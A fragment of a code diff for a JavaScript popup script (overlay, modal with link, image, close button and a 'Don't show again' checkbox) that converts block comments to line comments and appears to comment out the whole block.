+  // --- Overlay (blur + dim) ---
  const overlay = $('div', `
    position: fixed; inset: 0;
    background: rgba(0,0,0,.4);
@ -24,7 +24,7 @@
    z-index: 10000;
  `);

-  /* --- Modal --- */
+  // --- Modal ---
  const modal = $('div', `
    max-width: 90vw; width: 480px;
    background: #fff; border-radius: 12px; overflow: hidden;
@ -33,10 +33,10 @@
    display: flex; flex-direction: column; align-items: stretch;
  `);

-  /* --- Title bar (link + close) --- */
+  // --- Title bar (link + close) ---
  const titleBar = $('div', `
    position: relative;
-    padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
+    padding: 1rem 2.5rem 1rem 1rem; // room for the close button
    text-align: center;
    background: #222; color: #fff;
    font-size: 1.3rem; font-weight: 700;
@ -53,7 +53,7 @@
  link.textContent = TXT;
  titleBar.appendChild(link);

-  /* Close "X" (no persistence) */
+  // Close "X" (no persistence)
  const closeBtn = $('button', `
    position: absolute; top: .25rem; right: .5rem;
    background: transparent; border: none;
@ -65,11 +65,11 @@
  closeBtn.onclick = () => overlay.remove();
  titleBar.appendChild(closeBtn);

-  /* --- Image --- */
+  // --- Image ---
  const img = $('img');
  img.src = IMG; img.alt = TXT; img.style.width = '100%';

-  /* --- Checkbox row --- */
+  // --- Checkbox row ---
  const label = $('label', `
    display: flex; align-items: center; justify-content: center; gap: .6rem;
    padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
@ -83,7 +83,7 @@
  };
  label.append(cb, document.createTextNode("Don't show again"));

-  /* --- Assemble & inject --- */
+  // --- Assemble & inject ---
  modal.append(titleBar, img, label);
  overlay.appendChild(modal);

@ -93,7 +93,7 @@
    document.body.appendChild(overlay);
  }
 })();
-
+*/


 /**